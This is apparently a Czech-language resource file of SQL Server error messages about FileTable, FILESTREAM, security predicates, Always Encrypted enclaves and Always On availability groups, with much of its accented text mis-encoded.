�Hodnota %1!s! mo~nosti FILETABLE_DIRECTORY, kterou se pokoua�te nastavit v tabulce %2!s! nen� v r�mci datab�ze %3!s! jedine
n�. Zadejte jedine
nou hodnotu pro mo~nost FILETABLE_DIRECTORY t�to operace.

�Funkce %1!s! je v objektu FileTable platn� pouze u sloupce varbinary(max) FILESTREAM.

<Objekt %1!s! nelze zpracovat, proto~e se jedn� o trojd�ln� nebo 
tyYd�ln� n�zev. Zad�n� serveru nebo datab�ze nen� v identifik�toru objektu podporov�no.

lN�zev objektu %1!s! nen� platn� objekt FileTable.

PSloupec %1!s! nelze pYidat do tabulky %2!s!, proto~e se jedn� o tabulku typu FileTable. PYid�v�n� sloupco do pevn�ho sch�matu objektu typu FileTable nen� povoleno.

pNeplatn� n�zev nebo form�t cesty objektu FileTable

�Neplatn� n�zev hostitelsk�ho po
�ta
e v cest objektu FileTable

xNeplatn� n�zev sd�len� slo~ky v cest objektu FileTable

PY�kazy INSERT, UPDATE, DELETE a MERGE v objektu FileTable %1!s! nejsou v aktiva
n� ud�losti u objektu FileTable povoleny.

�Funkce %1!s! nen� povolena v odstrann� tabulce v aktiva
n� ud�losti.

�U~ivatel nem� opr�vnn� k ukon
ov�n� beztransak
n�ch popisova
o FILESTREAM v datab�zi s ID %1!s!.

tBeztransak
n� popisova
 FILESTREAM %1!s! neexistuje.

�Neplatn� lok�tor cesty vyvolal chybu omezen� CHECK objektu FileTable. D�lka lok�toru cesty je %1!s!. Tato d�lka je vta� ne~ omezen� %2!s! povolen� pro hloubku %3!s!. Zkraete d�lku lok�toru cesty.

�Aktu�ln� stav datab�ze %1!s! nen� kompatibiln� se zadanou �rovn� beztransak
n�ho pY�stupu FILESTREAM. Datab�ze mo~e b�t jen pro 
ten�, v jednou~ivatelsk�m re~imu nebo mo~e b�t ve stavu nouze.

�Objekt FileTable %1!s! nelze publikovat pro replikaci. Replikace nen� pro objekty FileTable podporov�na.

U objektu FileTable %1!s! nelze povolit funkci Change Data Capture. Funkce Change Data Capture nen� pro objekty FileTable podporov�na.

dZobrazen� %1!s! zalo~en� na protokolu nelze publikovat pro replikaci. Replikace nen� podporov�na pro zobrazen� zalo~en� na protokolech, kter� z�vis� na objektech FileTable.

�U objektu FileTable %1!s! nelze povolit sledov�n� zmn. Sledov�n� zmn nen� pro objekty FileTable podporov�no.

 Pomocn� parametr IGNORE_CONSTRAINTS nelze pou~�t pYi vkl�d�n� do objektu FileTable %1!s!, pokud nen� zak�z�na mo~nost FILETABLE_NAMESPACE.

lPYi vkl�d�n� do objektu FileTable %1!s! pomoc� pY�kazu BCP nebo BULK INSERT mus� b�t v tabulce bu zapnuta mo~nost CHECK_CONSTRAINTS, nebo zak�z�na mo~nost FILETABLE_NAMESPACE.

�Objekt FileTable %1!s! nelze rozdlit na odd�ly. Dlen� na odd�ly nen� pro objekty FileTable podporov�no.

@Popisova
 s ID %1!s! je otevYen u koYenov� sd�len� slo~ky serveru a nelze ho ukon
it. Doba ~ivota popisova
e je Y�zena klientem, kter� jej povodn otevYel.

�Datab�zi %1!s! nelze povolit pro beztransak
n� pY�stup FILESTREAM a zrcadlen� datab�ze sou
asn.

�Datab�zi %1!s! nelze povolit pro beztransak
n� pY�stup FILESTREAM a funkci HADR sou
asn.

Datab�ze %1!s! je 
itelnou sekund�rn� datab�z� ve skupin dostupnosti a nelze ji povolit pro beztransak
n� pY�stup FILESTREAM.

,Konfiguraci datab�ze FILESTREAM nelze pro datab�zi %1!s! zmnit. Datab�ze je bu zrcadlovou datab�z� v zrcadlen� datab�ze, nebo je v sekund�rn� replice skupiny dostupnosti Always On. PYipojte se k instanci serveru, kter� host� repliku prim�rn� datab�ze, a operaci opakujte.

Nelze z�skat pY�stup ke sloupci file_stream v objektu FileTable %1!s!, proto~e objekt FileTable nepodporuje verze Y�dko. Bu nastavte �roveH transakce na jinou hodnotu ne~ READ COMMITTED SNAPSHOT nebo SNAPSHOT, nebo pou~ijte pomocn� parametr READCOMMITTEDLOCK.

�Clusterovan� index %1!s! v objektu FileTable %2!s! nelze zak�zat, proto~e je povolena mo~nost FILETABLE_NAMESPACE.

Predik�ty zabezpe
en� nejdou pYidat pro tabulky, kter� obsahuj� data filestream. Sloupec %1!s! tabulky %2!s! obsahuje data filestream.

�Sloupec %1!s! nebylo mo~n� pYidat do tabulky %2!s!, proto~e sloupec obsahuje data filestream a na tabulku odkazuje minim�ln jedna z�sada zabezpe
en�. Sloupce filestream nejsou pro tabulky, na kter� odkazuj� z�sady zabezpe
en�, povolen�.

�Predik�ty BLOCK je mo~n� pYid�vat jedin do u~ivatelsk�ch tabulek. %1!s! nen� u~ivatelsk� tabulka.

�Operace, kterou jste se pokusili prov�st, selhala, proto~e c�lov� objekt %1!s! m� predik�t BLOCK, kter� je v konfliktu s touto operac�. V pY�pad prov�dn� operace pro zobrazen� mo~e b�t predik�t BLOCK vynucen� pro podkladovou tabulku. Upravte operaci tak, aby c�lila jenom na Y�dky, kter� jsou predik�tem BLOCK povolen�.

8Zobrazen� odd�lo %1!s! nen� mo~n� aktualizovat, proto~e tabulka %2!s! m� povolenou z�sadu zabezpe
en�, kter� definuje predik�ty BLOK pro tuto tabulku.

@Pro predik�ty zabezpe
en� u pameov optimalizovan�ch tabulek je mo~n� pou~�vat jedin nativn kompilovan� vlo~en� funkce vracej�c� tabulku. Tabulka %1!s! je pameov optimalizovan�, ale funkce %2!s! nen� nativn kompilovan�. VytvoYte funkci znovu s mo~nost� WITH NATIVE_COMPILATION.

\Funkce %1!s! se ned� pou~�t v definici predik�tu zabezpe
en� BLOCK. ZmHte predik�ty zabezpe
en� BLOCK pro tuto tabulku nebo zobrazen� tak, aby tuto funkci nepou~�valy.

�Sloupec %1!s! nevyhovuje jako parametr predik�tu zabezpe
en� BLOCK, proto~e definice sloupce obsahuje v�raz, kter� pou~�v� odd�lovou funkci. ZmHte predik�ty zabezpe
en� BLOCK pro toto zobrazen� tak, aby tento sloupec nepou~�valy.

lSloupec %1!s! nevyhovuje jako parametr pro predik�t zabezpe
en� AFTER UPDATE nebo AFTER INSERT BLOCK pro toto zobrazen�, proto~e odkazuje na z�kladn� tabulku, kterou tento pY�kaz nemn�. ZmHte predik�ty zabezpe
en� AFTER INSERT a AFTER UPDATE BLOCK pro toto zobrazen� tak, aby tento sloupec nepou~�valy.

�Predik�ty zabezpe
en� BLOCK nemo~ou odkazovat na do
asn� tabulky historie. Tabulka %1!s! je do
asn� tabulka historie.

�Tabulka %1!s! je pameov optimalizovan�. Predik�ty zabezpe
en� pro pameov optimalizovan� tabulky mo~ou ur
ovat jenom z�sady zabezpe
en� s povolenou vazbou sch�matu. VytvoYte novou z�sadu zabezpe
en� s povolenou vazbou sch�matu.

�Vazba pro predik�t zabezpe
en� nenav�zan� na sch�ma u objektu %1!s! se nepovedla kvoli jedn� nebo v�ce chyb�m. To poukazuje na to, ~e se zmnilo sch�ma funkce predik�tu. Aktualizujte nebo odeberte predik�ty zabezpe
en�, kter� to ovlivHuje.

�Vazba pro predik�t zabezpe
en� nenav�zan� na sch�ma u objektu %1!s! se nepovedla, proto~e funkce predik�tu nen� vlo~en� funkce vracej�c� tabulku. Pro predik�ty zabezpe
en� lze pou~�t pouze vlo~en� funkce vracej�c� tabulku.

�Z klienta byla pYijata nespr�vn� metadata aifrov�n� parametru. K chyb doalo pYi spuatn� d�vky a klient proto mo~e obnovit metadata aifrov�n� parametru vol�n�m funkce sp_describe_parameter_encryption a opakovat pokus.

tParametr %1!s! nem� stejnou informaci o aifrov�n� jako je ta, se kterou je vytvoYen�. Pomoc� sp_refresh_parameter_encryption aktualizujte informaci o aifrov�n� parametru pro modul.

Na objekt %1!s! odkazuje z�sada zabezpe
en� %2!s!. Aktu�ln nainstalovan� edice syst�mu SQL Server nepodporuje z�sady zabezpe
en�. Bu odstraHte z�sadu zabezpe
en�, nebo upgradujte instanci syst�mu SQL Server na verzi, kter� z�sady zabezpe
en� podporuje.

�Sloupec %1!s! objektu %2!s! je aifrovan�. Aktu�ln nainstalovan� edice syst�mu SQL Server nepodporuje aifrov�n� sloupco. Bu odstraHte ze sloupce aifrov�n�, nebo upgradujte instanci syst�mu SQL Server na verzi, kter� aifrov�n� sloupco podporuje.

�Platn� hodnoty �rovn kompatibility datab�ze jsou %1!s!, %2!s!, %3!s! nebo %4!s!.

�Extern� zdroj dat, kter� je v konfliktu s %1!s!, u~ existuje v mezipamti EDS v pamti. Pokud chcete zmnit um�stn� nebo pYihlaaovac� �daje, provete krok zmny. N�zev EDS zmn�te odstrann�m a nov�m vytvoYen�m.

�Nepovedlo se pYidlit pame pro ukl�d�n� do mezipamti extern�ho zdroje dat %1!s!, kter� pou~�v� soubor datab�ze.

�Nelze odstranit extern� zdroj dat %1!s!, proto~e se pou~�v�.

�Nejde odebrat extern� zdroj dat %1!s!, proto~e se pou~�v�.

xDoalo ke kryptografick� chyb kvoli nedostatku pamti.

LPYi inicializaci vyhled�vac� tabulky funkc� zabezpe
en� doalo k chyb. To mo~e b�t zposobeno poakozenou instalac� SQL Serveru, ve kter� chyb� po~adovan� soubor.

�Platn� hodnoty �rovn kompatibility datab�ze jsou %1!s!, %2!s!, %3!s! nebo %4!s!.

�Predik�t filtru auditu pYekra
uje maxim�ln� povolenou d�lku %1!s! znako.

XCelkov� d�lka n�zvu auditu a n�zvu kontejneru �lo~iat objekto blob pYekra
uje maxim�ln� povolenou d�lku (o %1!s! znako). Pou~ijte krata� n�zev auditu nebo kontejneru.

�Zadan� hodnota parametru QUEUE_DELAY nen� pro c�l asynchronn�ho protokolu platn�. Zadejte hodnotu vyaa� ne~ 0.

dNeplatn� hodnota pro parametr PATH. Zadejte platnou cestu ke kontejneru objekto blob v n�sleduj�c�m form�tu: https://<n�zev�lo~iat>.blob.core.windows.net/<n�zevKontejneru>

�Mo~nost SHUTDOWN pYi chyb nen� v t�to verzi syst�mu SQL Server podporov�na.

VnitYn� chyba enkl�vy: Na
�t�n� enkl�vy se nepovedlo (neplatn� cesta). Dala� informace z�sk�te od slu~by z�kaznick� podpory.

VnitYn� chyba enkl�vy: Vol�n� enkl�vy se pro metodu %1!s! nepovedlo. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

`OvYen� identity enkl�vy VBS selhalo. Stav ovYen� identity: %1!s!, d�l
� stav: %2!s!. Dala� informace naleznete v t�matu https://go.microsoft.com/fwlink/?linkid=2099553.

@VnitYn� chyba enkl�vy: Chyba ovYen� identity enkl�vy: Platforma enkl�vy vr�tila neo
ek�van� v�stup. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�PYihlaaovac� �daje kontejneru �lo~iat objekto blob %1!s! jsou neplatn�.

��lo~iat objekto blob %1!s! nebylo nalezeno. OvYte n�zev �
tu �lo~iat.

�Neplatn� n�zvy audito nebo datab�z�. Pou~ijte pros�m platn� znaky pro adresu URL.

�PYihlaaovac� �daje kontejneru �lo~iat objekto blob %1!s! nebyly nalezeny.

\Nepodporovan� operace pobl�~ Y�dku %1!s!. Operace u zaaifrovan�ch sloupco s datov�mi typy Yetzce vy~aduj� kolaci *_BIN2. Sloupec nebo promnn� ale pou~�v� kolaci %2!s!.

�Sloupec %1!s! nejde zmnit. V�raz se pokoua� sloupec na m�st zaaifrovat, deaifrovat nebo znovu zaaifrovat pomoc� zabezpe
en� enkl�vy, ale aktu�ln� aifrovac� kl�
 nebo aifrovac� kl�
 c�lov�ho sloupce nepodporuje enkl�vy.

�Sloupec %1!s! nejde zmnit. V�raz se pokoua� zmnit sch�ma aifrov�n� sloupce a nejm�n jednu z n�sleduj�c�ch vlastnost� sloupce: kolace (na jinou znakovou str�nku), datov� typ. Tyto zmny nejde kombinovat v jedin�m v�razu. Zkuste pou~�t v�ce v�razo.

�V�raz vy~aduje zabezpe
enou enkl�vu, ale tato enkl�va se v instanci SQL Serveru neinicializovala. Zkontrolujte stav enkl�vy v sys.configurations a pYe
tte si podrobnosti na str�nk�ch https://go.microsoft.com/fwlink/?linkid=2005337.

|V�raz spouat� v�po
ty enkl�vy, ale aifrovac� kl�
 sloupce potYebn� pro pY�sluan� v�po
ty se v enkl�v nenach�z�. Zkontrolujte, jestli: (1) na pYipojen� jsou povoleny aifrov�n� sloupce a v�po
ty enkl�vy, (2) ovlada
 m� povolenou enkl�vu. Dala� informace najdete na https://go.microsoft.com/fwlink/?linkid=2086681.

�VnitYn� chyba enkl�vy: Enkl�va m� nedostatek pamti. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�VnitYn� chyba enkl�vy: Chyba serializace OSF. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�VnitYn� chyba enkl�vy: Neplatn� form�t dat. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

VnitYn� chyba enkl�vy: Kontrola hodnoty Nonce v zabezpe
en�m kan�lu se nepovedla. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�VnitYn� chyba enkl�vy. Enkl�va se vyp�n� z dovodu kritick� chyby. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

�Bhem inicializace Audit pro c�l External Monitor doalo k chyb. Podrobnosti najdete v protokolu chyb.

�PYi 
ek�n� na shodu dokon
en� prohled�v�n� aifrov�n� doalo k chyb 0x%1!s!. Podrobnosti najdete v protokolu chyb.

,U~ivatelsk� certifik�t [Cert Hash(sha1) %1!s!] nebyl v �lo~iati certifik�to m�stn�ho po
�ta
e nalezen. Zkontrolujte, jestli certifik�t existuje.

�V kryptografick�m otisku [Cert Hash(sha1) %1!s!] je neplatn� znak. Dodejte certifik�t s platn�m kryptografick�m otiskem.

�Kryptografick� otisk [Cert Hash(sha1) %1!s!] je neplatn�. Dodejte certifik�t s platn�m kryptografick�m otiskem.

�V prohled�v�n� aifrov�n� nejde pokra
ovat, proto~e ~�dn� prohled�v�n� aifrov�n� neprob�h�.

�Zadan� skupina �lohy neexistuje. Opakujte akci s platnou skupinou �lohy.

�Prohled�v�n� aifrov�n� nejde pozastavit, proto~e ~�dn� prohled�v�n� aifrov�n� neprob�h�.

�Stav prohled�v�n� aifrov�n� TDE nejde u ID datab�ze [%1!s!] aktualizovat.

�Certifik�t [Cert Hash(sha1) %1!s!] byl v �lo~iati %2!s! nalezen, ale �
et slu~by SQL Server k nmu nem� pY�stup.

Certifik�t [Cert Hash(sha1) %1!s!] byl v �lo~iati %2!s! nalezen, ale nem� priv�tn� kl�
. Zkontrolujte to a pou~ijte platn� certifik�t.

PSloupec %1!s!.%2!s! je aifrovan� pomoc� n�hodn�ho typu aifrov�n�, tak~e nen� platn� pro pou~it� jako sloupec kl�
e v clusterovan�m indexu, omezen� nebo statistice.

VnitYn� chyba ekl�vy: strukturovan� v�jimka v enkl�v se stavem %1!s!. Dala� informace z�sk�te od slu~by z�kaznick� podpory.

0Sloupec %1!s!.%2!s! je aifrovan� pomoc� n�hodn�ho typu aifrov�n� s pou~it�m jin� kolace ne~ *_BIN2, tak~e nen� platn� jako sloupec kl�
e v indexu.

`Obnoven� zaaifrovan�ho indexu: %1!s! %2!s!

�Sloupec %1!s!.%2!s! je aifrovan� pomoc� n�hodn�ho typu aifrov�n� s aifrovac�m kl�
em sloupce, kter� nem� povolen� enkl�vy, tak~e nen� platn� pro pou~it� jako sloupec kl�
e v omezen�, indexu nebo statistice.

hHodnotu aifrovac�ho kl�
e sloupce %1!s! nejde zahodit. Zahozen� t�to hodnoty zak�~e enkl�vu kl�
e, na kter� z�vis� jeden nebo v�ce objekto v�z�n�ch sch�matem na sloupec %2!s!.

LByla vyvol�na operace podporovan� enkl�vami pro data aifrovan� pomoc� n�hodn�ho aifrov�n�, kde ale kl�
e nejsou povolen� pro enkl�vy. Vyma~te mezipame procesu.

�Sloupec %1!s! nejde zmnit. V�raz se pokoua� sloupec na m�st zaaifrovat, deaifrovat nebo znovu zaaifrovat pomoc� zabezpe
en� enkl�vy, to ale nen� pro tabulky optimalizovan� pro pame podporov�no.

Modul nejde vytvoYit. Spuatn� modulu vy~aduje kl�
e v zabezpe
en� enkl�v, to ale nen� pro tabulky optimalizovan� pro pame podporov�no.

H`ifrovac� algoritmus je neplatn�. Always Encrypted se zabezpe
en�mi enkl�vami vy~aduje, aby data byla aifrov�na pomoc� algoritmu AEAD_AES_256_CBC_HMAC_SHA_256.

�V dialogu fronty syspolicy_event_queue doalo k chyb: %1!s!.

lDialog fronty syspolicy_event_queue byl ukon
en.

�Bhem zpracov�n� ud�losti doalo k chyb 
�slo %1!s!. Chybov� zpr�va: %2!s!.

pRe~im proveden� %1!s! nen� platn� re~im proveden�.

lObjekt %1!s! %2!s! v t�to datab�zi ji~ existuje.

�Zadanou hodnotu vlastnosti %1!s! nelze pou~�t v re~imu proveden� %2!s!.

xObjekt %1!s! odkazovan� objektem %2!s! nelze odstranit.

�Na objekt %1!s! %2!s! odkazuje objekt %3!s!. Nelze pYidat dala� odkaz.

HOmezuj�c� vlastnost neexistuje.

HSkupina z�sad %1!s! neexistuje.

�Neplatn� c�lov� filtr: %1!s!. Povoleny jsou pouze filtry omezuj�c� prvn� �roveH pod uzlem Server.

�Automatizovan� z�sady nesm� odkazovat na podm�nky obsahuj�c� skripty.

\C�lov� typ %1!s! nen� platn� c�lov� typ.

<Objekt %1!s! je neplatn�.

TMo~nost konfigurace %1!s! je nezn�m�.

�Typ hodnoty mo~nosti konfigurace %1!s! je neplatn�. Byl o
ek�v�n typ %2!s!.

LAutomatizace z�sad byla vypnuta.

%1!s!

%1!s!

%1!s!

%1!s!

�Spr�vu z�sad nelze v t�to edici syst�mu SQL Server povolit.

�Bhem operace serializace objektu doalo k chyb. Chcete-li z�skat dala� informace o t�to chyb, prozkoumejte stav.

�Objekt v serializovan�m datov�m proudu je verze %1!s!, ale maxim�ln� podporovan� verze t�to tY�dy je %2!s!.

`Bhem serializace 
i deserializace doalo k chyb ve form�tovac�m modulu. Bylo vy~adov�no zpracov�n� elemento (po
et: %1!s!), ale bylo jich zpracov�no m�n (po
et: %2!s!).

�Bhem operace serializace objektu doalo k chyb. NezdaYila se serializace objektu %1!s!.

hDoalo k chyb serveru glob�ln�ho spr�vce z�mko.

TNadYazen� skupina servero neexistuje.

�Typ serveru a typ nadYazen� skupiny servero nejsou toto~n�

dUzel nelze pYesunout do podY�zen�ho objektu.

HSkupina servero nebyla nalezena

�Byla pYed�na neplatn� hodnota NULL parametru @server_group_id.

|Byla pYed�na neplatn� hodnota NULL parametru @server_id.

`Sd�len� registrovan� server nebyl nalezen.

pSkupiny servero sd�len� v syst�mu nelze odstranit.

�Byla pYed�na neplatn� hodnota NULL parametru @server_type.

�Byla pYed�na neplatn� hodnota %1!s! parametru @server_type.

lParametr @server_name nesm� b�t relativn� n�zev.

�Nelze pYidat sd�len� registrovan� server se stejn�m n�zvem jako m� konfigura
n� server.

�slo chyby %1!s! v pY�kazu THROW je mimo platn� rozsah. Zadejte 
�slo chyby v platn�m rozsahu od 50 000 do 2 147 483 647.

�Jedna z mo~nost� FMTONLY nebo NOEXEC pY�kazu SET byla v bloku pY�kazu TRY...CATCH zmnna z hodnoty ON na hodnotu OFF.

@Nepovedlo se pYidat datab�zi %1!s! do skupiny dostupnosti %2!s!. Zadan� skupina dostupnosti je vytvoYen� se z�kladn� funk
nost� a podporuje datab�zi %3!s!.

�Nelze nav�zat pYipojen� mezi instancemi %1!s! s ID [%2!s!] a %3!s! s ID [%4!s!] z dovodu neodpov�daj�c� verze pYenosu.

�Spr�vce pYenosu skupin dostupnosti Always On nejde spustit. K t�to chyb doalo pravdpodobn kvoli nedostatku pamti pYi spuatn� dispe
era zpr�v. V takov�m pY�pad mohly nastat chyby i v jin�ch intern�ch �loh�ch. Dala� chybov� zpr�vy najdete v protokolu chyb SQL Server a protokolu chyb Windows. Pokud doch�z� ke stavu nedostatku pamti, zjistte a opravte jeho pY�
inu.

4Pokus o pYipojen� pro skupinu dostupnosti %1!s! z ID repliky %2!s! do ID repliky %3!s! se nezdaYil z dovodu chyby %4!s!, z�va~nost %5!s!, stav %6!s!.

@Operace DDL skupiny dostupnosti jsou povoleny, pouze pokud pou~�v�te hlavn� datab�zi. Spusete pY�kaz USE MASTER a opakujte pY�kaz DDL skupiny dostupnosti.

Operace %1!s! se u repliky dostupnosti %2!s! nezdaYila, proto~e hodnota priority z�lohov�n� se nach�z� mimo platn� rozsah. Platn� rozsah se nach�z� mezi hodnotami %3!s! a %4!s! (v
etn). Nastavte prioritu z�lohov�n� na hodnotu v tomto rozsahu a operaci opakujte.

Zmna mo~nost� repliky dostupnosti %1!s! ve skupin dostupnosti %2!s! se nezdaYila. Zadan� skupina dostupnosti neobsahuje repliku dostupnosti se zadan�m n�zvem. Zkontrolujte, zda skupina dostupnosti a replika dostupnosti maj� spr�vn� n�zev, a opakujte operaci.

�Operace %1!s! nen� povolena. Operace se pokusila zmnit konfiguraci repliky dostupnosti %2!s! na re~im dostupnosti s asynchronn�m potvrzov�n�m s automatick�m pYevzet�m slu~eb pYi selh�n�, co~ je neplatn� konfigurace. ZmHte re~im pYevzet� slu~eb pYi selh�n� na ru
n� nebo re~im dostupnosti na re~im se synchronn�m potvrzov�n�m a operaci opakujte.

�Operace %1!s! nen� povolena aktu�ln� konfigurac� skupiny dostupnosti. Operace by pYekro
ila maxim�ln� povolen� po
et %2!s! replik dostupnost� se synchronn�m potvrzov�n�m ve skupin dostupnosti %3!s!. ZmHte jednu z existuj�c�ch replik se synchronn�m potvrzov�n�m na re~im dostupnosti s asynchronn�m potvrzov�n�m a operaci opakujte.

�Operace %1!s! nen� povolena aktu�ln� konfigurac� skupiny dostupnosti. Tato operace by pYekro
ila maxim�ln� po
et %2!s! automatick�ch c�lo pYevzet� slu~eb pYi selh�n� ve skupin dostupnosti %3!s!. ZmHte jednu z existuj�c�ch replik se synchronn�m potvrzov�n�m na re~im ru
n�ho pYevzet� slu~eb pYi selh�n� a operaci opakujte.

dOperace %1!s! se u repliky dostupnosti %2!s! nezdaYila. Minim�ln� hodnota 
asov�ho limitu relace je %3!s!. Zadejte platnou hodnotu 
asov�ho limitu relace a operaci opakujte.

LOperace %1!s! nen� pro repliku dostupnosti %2!s! povolena, proto~e re~im automatick�ho pYevzet� slu~eb pYi selh�n� je neplatnou konfigurac� v instanci clusteru s podporou pYevzet� slu~eb pYi selh�n� pro syst�m SQL Server. Zadejte ru
n� re~im pYevzet� slu~eb pYi selh�n� a operaci opakujte.

$PYi pYid�v�n� nebo odeb�r�n� z�brany zkracov�n� protokolu s c�lem vytvoYit z prim�rn� datab�ze dostupnosti %1!s! sekund�rn� repliku doalo k chyb. Prim�rn� datab�ze je do
asn offline z dovodu prob�haj�c�ho restartov�n� nebo jin�ho pYechodn�mu stavu. Opakujte operaci.

 Fondu vl�ken pro skupiny dostupnosti Always On se nepovedlo spustit pracovn� vl�kno, proto~e nen� dostupn� dostatek pracovn�ch vl�ken. To mo~e sn�~it v�kon skupin dostupnosti Always On. Zvyate po
et povolen�ch vl�ken pomoc� mo~nosti konfigurace max worker threads.

�PYi pokusu o nastaven� v�choz� hodnoty LSN datab�ze %1!s! doalo k chyb. Prim�rn� datab�ze je do
asn v re~imu offline z dovodu restartov�n� nebo jin� pYechodn� podm�nky. Opakujte operaci.

DOperace nejde zpracovat. Spr�vce repliky skupin dostupnosti Always On 
ek� na hostitelsk� po
�ta
, aby mohl spustit cluster slu~by Windows Server Failover Clustering (WSFC) a pYipojit jej. M�stn� po
�ta
 nen� uzlem clusteru nebo m�stn� uzel clusteru nen� online. Je-li po
�ta
 uzlem clusteru, vy
kejte na pYipojen� clusteru. Nen�-li po
�ta
 uzlem clusteru, pYidejte po
�ta
 do clusteru WSFC. Pak operaci opakujte.

�Operace nejde zpracovat. Spr�vce repliky skupin dostupnosti Always On je v t�to instanci syst�mu SQL Server zak�zan�. Povolte skupiny dostupnosti Always On s vyu~it�m spr�vce konfigurace syst�mu SQL Server. Restartujte SQL Server a opakujte aktu�ln� operaci. Informace o povolen� a zak�z�n� skupin dostupnosti Always Onnajdete na webu Knihy online pro SQL Server.

4Operace nejde zpracovat. Funkce dostupnosti skupin Always On nem� opr�vnn� k pY�stupu ke clusteru Windows Server Failover Clustering (WSFC). Zaka~te a znovu povolte skupiny dostupnosti Always On s vyu~it�m spr�vce konfigurace syst�mu SQL Server. Restartujte SQL Server a opakujte aktu�ln� operaci. Informace o povolen� a zak�z�n� skupin dostupnosti Always On najdete na webu Knihy online pro SQL Server.

�Do skupiny dostupnosti %2!s! nelze pYidat repliky dostupnosti %1!s!. Tato skupina dostupnosti ji~ obsahuje %3!s! replik a maxim�ln� po
et replik podporovan�ch ve skupin dostupnosti je %4!s!.

dOperace nejde zpracovat. Funkci dostupnosti skupin Always On se nepodaYilo na
�st po~adovanou knihovnu slu~by Windows Server Failover Clustering (WSFC). Zkontrolujte, jestli je po
�ta
 uzlem v clusteru WSFC. Pokud chcete znovu na
�st po~adovan� funkce knihovny, restartuje instanci syst�mu SQL Server.

LOperace nejde zpracovat. Instance syst�mu SQL Server je spuatn� v syst�mu WOW64 (Windows 32-bit on Windows 64-bit), kter� nepodporuje skupiny dostupnosti Always On. Znovu nainstalujte SQL Server v nativn� 64bitov� edici a znovu povolte skupiny dostupnosti Always On. Restartujte SQL Server a opakujte operaci. Informace o povolen� a zak�z�n� skupin dostupnosti Always On najdete na webu Knihy online pro SQL Server.

�Operace nejde zpracovat. Funkce skupin dostupnosti Always On se nespustila, proto~e instance syst�mu SQL Server nen� spuatn� jako slu~ba. Restartujte instanci serveru jako slu~bu a operaci opakujte.

�Pokus nastavit �roveH podm�nky chyby pro skupinu dostupnosti %1!s! se nezdaYil. Zadan� hodnota �rovn se nach�z� mimo rozsah platn�ch hodnot [%2!s!, %3!s!]. Zadejte pY�kaz znovu s platnou hodnotou �rovn podm�nky chyby.

�Pokus nastavit hodnotu 
asov�ho limitu kontroly stavu pro skupinu dostupnosti %1!s! se nezdaYil. Zadan� hodnota 
asov�ho limitu je krata� ne~ %2!s! ms. Zadejte pY�kaz znovu s platnou hodnotou 
asov�ho limitu kontroly stavu.

Zadan� n�zev po
�ta
e je bu pr�zdn� Yetzec, nebo obsahuje v�ce znako Unicode ne~ %1!s!. Zadejte pY�kaz znovu s platn�m n�zvem po
�ta
e.

�Zadan� n�zev instance serveru %1!s! je neplatn�. Zadejte pY�kaz znovu s platn�m n�zvem instance.

�Zadan� adresa URL koncov�ho bodu %1!s! je neplatn�. Zadejte pY�kaz znovu se spr�vnou adresou URL. Informace o zad�v�n� adresy URL koncov�ho bodu pro repliku dostupnosti naleznete na webu Knihy online pro SQL Server.

�Nejde vytvoYit skupinu dostupnosti obsahuj�c� n�sleduj�c� po
et replik dostupnosti: %1!s!.	Maxim�ln� po
et replik dostupnosti ve skupin dostupnosti %2!s! je %3!s!. Zadejte pY�kaz CREATE AVAILABILITY GROUP znovu s mena�m po
tem replik dostupnosti.

�N�zev datab�ze %1!s! je uveden v�ce ne~ jednou. Zadejte pY�kaz znovu s jednotliv�mi n�zvy datab�ze zadan�mi pouze jednou.

\N�zev syst�mu %1!s! je v klauzuli REPLICA ON tohoto pY�kazu uveden v�ce ne~ jednou. Zadejte pY�kaz znovu a pro ka~dou repliku zadejte jinou instanci syst�mu SQL Server.

�Nebyla ur
ena adresa URL koncov�ho bodu pro repliku dostupnosti, jej�m~ hostitelem je instance serveru %1!s!. Zadejte pY�kaz znovu s adresou URL koncov�ho bodu t�to instance syst�mu SQL Server.

}�dn� ze zadan�ch replik pro skupinu dostupnosti %1!s! nemapuje instanci syst�mu SQL Server, ke kter� jste pYipojeni. Zadejte pY�kaz znovu a nastavte tuto instanci serveru tak, aby hostovala jednu z replik. Tato replika bude v�choz� prim�rn� replikou.

|Datab�zi %1!s! nelze pYidat do skupiny dostupnosti %2!s!. Datab�ze v t�to instanci syst�mu SQL Server neexistuje. Zkontrolujte, zda je zadan� n�zev datab�ze spr�vn�, a opakujte operaci.

�Doalo k chyb pY�kazu ALTER DATABASE <database-name> SET HADR SUSPEND (nebo SET HADR RESUME) u datab�ze %1!s! skupiny dostupnosti %2!s!. Skupina dostupnosti bu neobsahuje zadanou datab�zi, datab�ze nen� pYipojena ke skupin dostupnosti, nebo datab�ze jeat nebyla spuatna. Po pYipojen� datab�ze online a jej�m pYipojen� ke skupin dostupnosti zadejte pY�kaz znovu.

8Datab�zi %1!s! nejde pYipojit ke skupin dostupnosti %2!s! nebo ji z n� odpojit. Tato operace nen� v prim�rn� replice skupiny dostupnosti podporov�na.

�Nelze dokon
it operaci ALTER DATABASE <database-name> SET HADR v datab�zi %1!s!. Datab�ze nen� pYipojena ke skupin dostupnosti. Po pYipojen� datab�ze ke skupin dostupnosti pY�kaz opakujte.

�Nastaven� vlastnosti %1!s! prostYedku pro skupinu dostupnosti %2!s! se nezdaYilo. PYi operaci doalo k chyb syst�mu SQL Server %3!s!. Zopakujte pY�kaz ALTER AVAILABILITY GROUP po vyYeaen� pot�~� zposobuj�c�ch chybu.

�Datab�zi %1!s! nelze pYidat do skupiny dostupnosti %2!s!. Datab�ze je aktu�ln pYipojena k jin� skupin dostupnosti. Zkontrolujte, zda je n�zev datab�ze spr�vn� a zda datab�ze nen� pYipojena do skupiny dostupnosti, a opakujte operaci.

PVytvoYen� skupiny dostupnosti se nezdaYilo. N�zev instance syst�mu SQL Server nebylo mo~n� ovYit, proto~e soubor knihovny DLL %1!s! nebyl nalezen (chyba syst�mu Windows %2!s!). OvYte, zda zadan� instance serveru existuje. Pokud existuje, pravdpodobn v instanci serveru chyb� soubor DLL.

xVytvoYen� skupiny dostupnosti se nezdaYilo. N�zev instance syst�mu SQL Server nebylo mo~n� ovYit, proto~e soubor knihovny DLL %1!s! nebylo mo~n� na
�st (chyba syst�mu Windows %2!s!).

